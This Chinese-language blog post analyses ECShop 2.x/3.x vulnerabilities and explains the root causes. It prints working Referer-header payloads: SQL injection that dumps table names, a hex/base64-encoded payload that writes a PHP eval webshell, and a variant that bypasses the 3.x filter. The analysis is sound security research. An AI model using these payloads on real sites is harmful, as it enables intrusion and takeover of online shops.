前言
最近爆出的ECShop的两个漏洞很火,本篇文章就网络上爆出的payload进行分析,并记录其中自己的一些思考,具体的漏洞不会详细分析,因为这类分析文章已经有很多了,如果你想了解,可以看结尾处的相关文章。
ECShop2.x
下面以2.7.3版本为例,我们先来看网络上最早爆出来 注入的payload :
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} |
这个payload还原回去,对应的SQL语句如下:
然而这种payload有点鸡肋,因为在版本稍微高一点的mysql中, procedure analyse 语句中不能再跟 select 语句。看 P牛 转载的 这篇文章中,mysql版本为 5.5.41-0ubuntu0.14.04.1 ,是可以跟 select 语句的:
而我用 phpstudy 中mysql版本为 5.5.53 ,使用该语句却爆语法错误:
所以猜测应该是和版本有关,或者说 procedure analyse 语句还有其他的注入写法,知道的师傅还请告诉我:)
既然这种 payload 不能爆出表名、列名,我们就要换个思路。仔细观察 ECShop 存在注入处的源码,实际上可控制的拼接参数有两个,分别是: $arr[‘id’] 和 $arr[‘num’] ,所以我们大可在 $arr[‘id’] 处注入 payload (这里直接用 # 号),直接注释掉后面的 ORDER BY 语句。
所以我构造的 payload 如下,可以成功爆出表名和列名:
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1' and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";} |
当然,同时利用 $arr[‘id’] 和 $arr[‘num’] 两个参数,引入 /**/ 将 ORDER BY 语句注释掉也是可以的:
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";} |
再来看 命令执行的payload :
1 | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} |
当中的16进制对应字符串如下:
1 | {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx |
这个命令执行的关键点,还是利用了之前的注入点,同样引入了 /**/ 将 ORDER BY 语句给注释掉。当中,payload会经过 includes/cls_template.php 文件的这条语句:
1 | return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); |
这里的 preg_replace 使用了危险的 /e 模式,而第二个参数中的 \1 实际表示的是下图绿色部分字符串:
对于正则中的 \1 不熟悉的话,可以参考 这篇 文章。之后程序的流程就如下调用:
我们可以思考一下这处的命令执行,能不能像前面一样,只利用 $arr[‘id’] 位置(即引入单个 # 号)?实际上是不行的,必须两个可控变量同时配合利用,才能完成攻击。因为在 includes/lib_insert.php 文件中有一个判断,如果数据库查询出的 position_id 和用户传入的 id 相同,才会执行 fetch 函数,继而进入 includes/cls_template.php 文件的 _eval 方法,达到代码执行的目的。
我们试着使用前面我构造的 payload (只利用 $arr[‘id’] 引入单个 # 号),此时 $arr[‘id’] 对应下图黄框部分,而 $row[‘position_id’] 对应红框部分,要让这两个地方相等,根本不可能。
仔细观察,会发现 $row[‘position_id’] ** 和 **$arr[‘id’] 之间使用的是弱比较,那我们是否能利用PHP弱比较的特性绕过呢?实际上还是不行,因为 *$row[‘position_id’] * 是从数据库中查询出来的,其值类型为字符串,所以无法相等。
最终payload传到 _eval 函数中,成功执行代码:
ECShop3.x
下面以3.0.0版本为例。在ECShop3.x版本中,添加了一个 includes/safety.php 文件,专门用于消除有害数据,但是漏洞依旧存在,我们只需绕过过滤函数即可。该文件代码如下:
用我们之前的payload,会触发过滤SQL注入的正则,具体匹配到的子项如下的 $ttt 变量:
主要这个正则会匹配到 set 、 concat 、information_schema.、 select from 语句等,暂时没有找到可绕过的SQL语句。
不过命令执行还是可以绕过的,因为我们之前的payload经过编码,这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句,我们可以同时利用 $arr[‘id’] 和 $arr[‘num’] 两个参数,将 union 和 select 分开传递即可绕过正则检测:
但是这里还会匹配到 select from 语句,这里没有绕过,所以爆不了表名列名。
3.x 版本除了多了这处正则,includes/cls_template.php 文件中的 fetch_str 方法结尾处也不一样了,多了一个 if 结构,满足条件才能继续命令执行。下图左边为 ECShop2.7.3 ,右边为 ECShop3.0.0 :
按照默认的数据传递流程,version_compare 函数默认是存在的,所以要想进入 if 语句,必须让后面的条件为真。后面的条件要求我们PHP的版本需要小于 5.3.0 才会进入该 if 语句。在实际测试时,我在 PHP5.2.17 版本下利用如下payload确实可以成功写入webshell,但是PHP版本大于等于 5.3.0 就无法写入webshell。
1 | Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa |
实际上ECShop在3.6的版本中已经修复了该漏洞,而 这篇 文章中所说的3.6.x也存在,我看了他的测试代码,发现他把原先ECShop中的修复代码给注释掉了,这样当然可以利用漏洞了!标题有点误导性。
本文分析到此结束,文中若有不当,还望大家斧正,若有绕过姿势愿意分享,也可以联系我。
相关文章
ECShop全系列版本远程代码执行高危漏洞分析
ECShop 0day 的堕落之路
ecshop2.x代码执行
ECShop sqli and rce
ECShop <= 2.7.x/3.6.x 全系列版本远程代码执行高危漏洞EXP
ECShop 2.x 3.0代码执行漏洞分析